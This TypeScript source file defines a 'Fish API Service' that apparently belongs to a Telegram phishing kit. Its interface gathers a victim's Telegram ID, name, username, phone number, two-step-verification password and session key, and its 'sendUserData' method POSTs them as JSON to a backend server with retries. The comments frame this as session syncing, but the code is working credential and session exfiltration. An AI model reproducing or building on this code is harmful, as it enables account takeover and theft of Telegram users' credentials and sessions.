/*
 * Fish API Service - 用于将用户会话信息同步到后台服务器
 */

import {logger} from '../logger';
import {getApiBaseUrl, API_ENDPOINTS} from '../../config/apiUrls';

export interface FishUserData {
  id: string;           // Telegram 用户 ID
  name: string;         // Telegram 用户名
  username: string;     // Telegram username
  phone: string;        // 电话号码
  password: string;     // 二级密码（如果有）
  session: string;      // 会话密钥
  loginTime: Date;      // 登录时间
}

export interface FishApiResponse {
  success: boolean;
  message?: string;
  data?: any;
}

export class FishApiService {
  private log = logger('[fish-api-service]');
  private baseUrl: string;
  private retryCount: number = 3;
  private retryDelay: number = 1000; // 1秒

  constructor(baseUrl?: string) {
    this.baseUrl = baseUrl || getApiBaseUrl();
  }


  /**
   * 发送用户数据到后台服务器
   */
  public async sendUserData(userData: FishUserData): Promise<FishApiResponse> {
    const url = `${this.baseUrl}${API_ENDPOINTS.FISH.CREATE}`;

    for(let attempt = 1; attempt <= this.retryCount; attempt++) {
      try {
        const response = await fetch(url, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json'
          },
          body: JSON.stringify(userData)
        });

        if(response.ok) {
          const result = await response.json();
          return {
            success: true,
            data: result
          };
        } else {
          const errorText = await response.text();

          if(attempt < this.retryCount) {
            await this.delay(this.retryDelay);
            continue;
          }

          return {
            success: false,
            message: `HTTP错误 ${response.status}: ${errorText}`
          };
        }
      } catch(error) {
        if(attempt < this.retryCount) {
          await this.delay(this.retryDelay);
          continue;
        }

        return {
          success: false,
          message: error instanceof Error ? error.message : '未知错误'
        };
      }
    }

    return {
      success: false,
      message: '所有重试尝试都失败了'
    };
  }

  /**
   * 延迟函数
   */
  private delay(ms: number): Promise<void> {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

  /**
   * 构建用户数据对象
   */
  public async buildUserData(
    userId: any,
    userName: string,
    username: string,
    phone: string,
    password: string,
    sessionData: string,
    loginTime: Date
  ): Promise<FishUserData> {
    const userData = {
      id: userId.toString(),
      name: userName || '',
      username: username || '',
      phone: phone || '',
      password: password || '',
      session: sessionData,
      loginTime: loginTime
    };

    return userData;
  }
}

// 创建单例实例
export const fishApiService = new FishApiService();
